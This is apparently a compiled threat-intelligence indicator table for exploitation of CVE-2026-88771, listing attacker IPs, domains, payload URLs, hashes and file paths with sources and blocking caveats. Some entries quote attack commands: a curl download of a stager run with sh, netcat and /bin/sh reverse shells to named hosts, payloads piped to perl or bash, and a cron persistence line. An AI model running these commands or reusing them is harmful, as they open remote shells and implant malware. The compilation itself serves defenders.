IPv473.43.85.7GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Comcast Cable Communications, LLC, United States)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv488.180.103.22GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Free SAS, France)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv4194.28.195.90GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Dialog-K LLC, Russia)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv495.63.246.50GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Vodafone Espana S.A.U., Spain)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv431.13.192.160GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (SKAT POPOVO Ltd., Bulgaria)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv4185.170.55.89GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (LLC Electron-Telecom, Russia)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv4104.203.50.26GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Blue Stream, United States)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv437.19.221.171GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Datacamp Limited, United States)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. VPN or proxy exit shared by many users; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv445.143.167.96GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (BlueVPS OU, Netherlands)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv4206.232.71.215GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Leaseweb Deutschland GmbH, Germany)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv4130.94.106.141GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (LIGHT NODE LIMITED, Argentina)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv458.187.56.89GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (FPT Telecom Company, Vietnam)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv4171.106.10.118GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (CHINANET BACKBONE, China)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv482.24.212.15GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Shock Hosting LLC, United States)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv4178.66.43.241GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (PJSC Rostelecom, Russia)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv4185.209.15.246GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (ESTOXY OU, Netherlands)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv494.190.77.195GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (INTERRA telecommunications group, Ltd., Russia)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv493.177.60.233GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (PJSC Rostelecom, Russia)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv468.46.140.222GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Comcast Cable Communications, LLC, United States)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv4178.218.40.232GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (ATEXS PLUS Ltd., Russia)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv449.36.107.103GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Reliance Jio Infocomm Limited, India)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv4191.37.30.194GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (WRNET LTDA, Brazil)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv423.234.74.48GreyNoise tag [109]; Poppelgaard [75]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (tzulo, inc., United States). Huntback (7 Oct, via checker v1.15) moved it from its scanner group to confirmed command-injection sourcesHuntback decoy telemetry plus GreyNoise tagging. VPN or proxy exit shared by many users; do not block on GreyNoise tagging alone - Huntback's injection evidence is the discriminator.GreyNoise Visualizer tag search, viewed Sep 29
IPv472.73.231.73GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Verizon Business, United States)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv495.229.84.239GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Telecom Italia S.p.A., Italy)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv4113.137.102.68GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (CHINANET BACKBONE, China)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv447.243.125.255GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv447.76.92.109GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv48.217.173.25GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv48.210.67.91GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv447.239.205.29GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv447.76.132.65GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv48.218.219.56GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv447.76.102.1GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv447.76.63.52GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv48.210.119.74GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv464.177.93.71GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (The Constant Company, LLC, Mexico)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv444.252.255.141GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Amazon.com, Inc., United States)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv4194.242.130.193GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (WAHYU, Hong Kong)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv4125.122.56.47GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (CHINANET BACKBONE, China)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv423.132.164.35GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Netiface America, Inc., Switzerland)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv492.118.204.229GreyNoise tag [109]; LevelBlue SpiderLabs (THOR team) [82]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Catixs Ltd, United States). LevelBlue: source of command-execution testing (e.g. whoami)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. LevelBlue also lists it from its own THOR hunt, not independently confirmed.GreyNoise Visualizer tag search, viewed Sep 29
IPv454.70.59.128GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Amazon.com, Inc., United States)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv444.226.128.41GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Amazon.com, Inc., United States)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv44.246.63.96GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Microsoft Corporation, United States)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv4176.65.148.54watchTowr Intel [61]; watchTowr [105]; GreyNoise tag [109]Sliver C2 endpoint and staging server of the watchTowr-captured ns_helper implant (beacons to :80 and :8080/ns_helper staging, also http), identified 7 Oct; Huntback also lists it as a confirmed command-injection source (moved from its scanner group). Earlier: tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Pfcloud UG, Netherlands)Multi-source: watchTowr sinkholed the implant beacons and staging from this host; GreyNoise and Huntback corroborate exploitation/injection activity. Keep it blocked.Public blog and GitHub repository, no TLP marking
IPv4104.28.193.147GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 29 (Cloudflare, Inc., Japan)Cloudflare WARP egress address, shared by very many ordinary Cloudflare WARP / 1.1.1.1 users. Never block it and never import it into an IoC feed; use it only to correlate timing within your own logs.GreyNoise Visualizer tag search, viewed Sep 29
IPv4104.28.211.105GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 29 (Cloudflare, Inc., Japan)Cloudflare WARP egress address, shared by very many ordinary Cloudflare WARP / 1.1.1.1 users. Never block it and never import it into an IoC feed; use it only to correlate timing within your own logs.GreyNoise Visualizer tag search, viewed Sep 29
User-AgentPython-urllibLupovis (@LupovisDefence) on X, Sep 28 [116]Client used for CVE-2026-88771 log-poison exploitation on Lupovis decoys (payload runs id;uname, DNS callback to httpworkbench)Lupovis honeypot observation (its own post on X, plus press and Beazley). Mostly opportunistic activity after the public PoC. Python-urllib is a common library default; only meaningful together with the auth-endpoint payload.Public post, no TLP marking
URI path/vpn/scripts/linux/nsgclient18.debMaurice_Sec on X [168]; CyberMaxx [104]; Google GTIG / Mandiant [70]; Unit 42 (Palo Alto Networks) [153]GET requests referenced in a NetScaler Console IoC scanner finding (Maurice_Sec field notes)Single practitioner report; the author is "not 100%" on this finding. Matches the GTIG nsgclient*.deb staging pattern. A legitimate client package normally lives at similar paths, so check file content, not just the name.Public post, no TLP marking
URI path/vpn/scripts/linux/nsgclient18_32.debMaurice_Sec on X [168]; CyberMaxx [104]; Google GTIG / Mandiant [70]GET requests referenced in a NetScaler Console IoC scanner finding (Maurice_Sec field notes)Single practitioner report; the author is "not 100%" on this finding. Matches the GTIG nsgclient*.deb staging pattern. Check file content, not just the name.Public post, no TLP marking
Domainechvista.comIFIN [111]Associated exploit source (IFIN compiled observables)Compiled by IFIN from shared reports; the original reporter of each value is not stated. No A record when checked on Sep 29.Public, no restriction
SHA-25673b74309f4728d169cc9edfb2767c5aadd75d39b62de93c935a86c777d2646bcArctic Wolf [72]First payload returned from /xd7h/xArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
SHA-2569c7bf01d2c2cb31a3609d27c1bc9abc60d86e37b7f9908547e0c75fb18b99aabArctic Wolf [72]nsmon.pl Perl implant returned from /xd7h/nsmon.plArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
SHA-25657f9f30c50240fd48d761de7961a430cdebf2c084a36bc76d376a1ce8e6dfa9dArctic Wolf [72]; eSentire TRU blog [99]The "x" stager shell script: Platypus-server-generated, downloaded by curl -k http://62.133.62.80:80/xd7h/x > /.x and run with sh /.x (eSentire TRU Cluster B; the command matches the Platypus project's documented enrollment nearly verbatim)Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
SHA-256974b69782fdf5d67b97cfd508465939e44ee10798dbcc1e82b92d78776bad938Arctic Wolf [72]; LevelBlue SpiderLabs (THOR team) [82]Perl script update_c08937.plArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. LevelBlue also lists it from its own THOR hunt, not independently confirmed.Public GitHub repository, no TLP marking
SHA-256927c7fbef2e620c1ce482c3ed67ebf53da97693c1d6c7552c77aec84ba982cf8Arctic Wolf [72]; eSentire TRU blog [99]Platypus bootstrap script (server-generated) retrieved from entretiensol.com: downloads the agent from https://entretiensol.com/v1/artifacts/<os>/<arch>/latest (e.g. /v1/artifacts/freebsd/amd64/latest), sets PLATYPUS_INSTALL_TOKEN and enrolls against entretiensol.com:443 (eSentire TRU Cluster B; mirrors the project's distributor.go)Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
IPv445.141.21.130Arctic Wolf [72]; LevelBlue SpiderLabs (THOR team) [82]; eSentire TRU blog [99]Reverse-shell destination: /bin/sh -i to port 443. ASN 214961, Stellar Group SAS (per eSentire Cluster D)Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. LevelBlue also lists it from its own THOR hunt, not independently confirmed.Public GitHub repository, no TLP marking
IPv468.178.160.183Arctic Wolf [72]Payload host on ports 8888 and 8899 (/test, /test111)Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
IPv489.44.80.7Arctic Wolf [72]Callback host: /exec-ok and Base64 id output on port 65456; nc -e /bin/sh to port 58963Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
IPv4130.94.42.226Arctic Wolf [72]Callback on port 18805Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
IPv4134.175.71.50Arctic Wolf [72]Payload host on port 4123Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
IPv4177.4.12.11Arctic Wolf [72]Served /s?t=a, b and c on port 8080, piped to shArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
URLhttp://64.94.85.67:443/update_c08937.plArctic Wolf [72]; LevelBlue SpiderLabs (THOR team) [82]Fetched with curl and piped to perl inside the injected usernameArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. LevelBlue also lists it from its own THOR hunt, not independently confirmed.Public GitHub repository, no TLP marking
URLhttp://62.133.62.80:80/xd7h/xArctic Wolf [72]; LevelBlue SpiderLabs (THOR team) [82]First payload fetched by the applianceArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. LevelBlue also lists it from its own THOR hunt, not independently confirmed.Public GitHub repository, no TLP marking
URLhttp://62.133.62.80:80/xd7h/nsmon.plArctic Wolf [72]nsmon.pl implant downloadArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
URLhttp://23.27.143.20:9000/main.pyArctic Wolf [72]; LevelBlue SpiderLabs (THOR team) [82]Python payload downloadArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. LevelBlue also lists it from its own THOR hunt, not independently confirmed.Public GitHub repository, no TLP marking
URLhttp://153.75.82.220/download/x.shArctic Wolf [72]Shell payload, piped to bashArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
Domainentretiensol.comArctic Wolf [72]; eSentire TRU blog [99]Served a Platypus agent over HTTPS (/api/v1/install/...). eSentire also gives the artifact download path format https://entretiensol.com/v1/artifacts/<os>/<arch>/latest (e.g. /v1/artifacts/freebsd/amd64/latest)Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
File path/var/tmp/.nsmon/nsmon.plArctic Wolf [72]nsmon.pl copies itself here with 0755 permissionsArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
File path/var/1.pyArctic Wolf [72]main.py saved here before executionArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
File path/var/tmp/.sArctic Wolf [72]File path listed by Arctic WolfArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
Cron entry*/5 * * * * root perl /var/tmp/.nsmon/nsmon.pl >/dev/null 2>&1Arctic Wolf [72]Cron entry nsmon.pl attempts to add to /etc/crontab or /nsconfig/crontab (attempted persistence); includes the output redirect in Arctic Wolf's originalArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
NetworkTCP listener on 41000-41999Arctic Wolf [72]nsmon.pl attempts to listen on 0.0.0.0 on a configured port or a free port in this rangeArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
IPv478.47.24.217Unit 42 (Palo Alto Networks) [153]Fingerprinting 21-22 Aug; part of the 21 Sep three-stage webshell dropUnit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw.Public blog, no TLP marking
IPv466.135.19.18Unit 42 (Palo Alto Networks) [153]One of four VPSs (one per day, 4-8 Sep) requesting nsgclient18.deb and nsgser18.debUnit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw.Public blog, no TLP marking
IPv4167.99.111.203Unit 42 (Palo Alto Networks) [153]One of four VPSs (one per day, 4-8 Sep) requesting nsgclient18.deb and nsgser18.debUnit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw.Public blog, no TLP marking
IPv4142.93.85.227Unit 42 (Palo Alto Networks) [153]One of four VPSs (one per day, 4-8 Sep) requesting nsgclient18.deb and nsgser18.debUnit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw.Public blog, no TLP marking
IPv4104.248.74.206Unit 42 (Palo Alto Networks) [153]One of four VPSs (one per day, 4-8 Sep) requesting nsgclient18.deb and nsgser18.debUnit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw.Public blog, no TLP marking
IPv4137.184.91.207Unit 42 (Palo Alto Networks) [153]Requested the same .deb files on 7 SepUnit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw.Public blog, no TLP marking
IPv4162.33.178.9Unit 42 (Palo Alto Networks) [153]Requested nsgbuild.deb and nsgsupport.deb on 14 SepUnit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw.Public blog, no TLP marking
IPv4193.149.176.207Unit 42 (Palo Alto Networks) [153]Requested nsgbuild.deb daily 15-24 Sep (most of the requests Unit 42 saw) and GetUserNameUnit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw.Public blog, no TLP marking
IPv445.61.136.143Unit 42 (Palo Alto Networks) [153]Listed in the Unit 42 network indicatorsUnit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw.Public blog, no TLP marking
IPv466.227.183.84Unit 42 (Palo Alto Networks) [153]Listed in the Unit 42 network indicatorsUnit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw.Public blog, no TLP marking
IPv4216.245.184.164Unit 42 (Palo Alto Networks) [153]Listed in the Unit 42 network indicatorsUnit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw.Public blog, no TLP marking
IPv4104.28.215.137Unit 42 (Palo Alto Networks) [153]Requested .deb webshell files 9-11 Sep; GetUserName stream (Cloudflare WARP)Cloudflare WARP egress address, shared by very many ordinary Cloudflare WARP / 1.1.1.1 users. Never block it and never import it into an IoC feed; use it only to correlate timing within your own logs.Public blog, no TLP marking
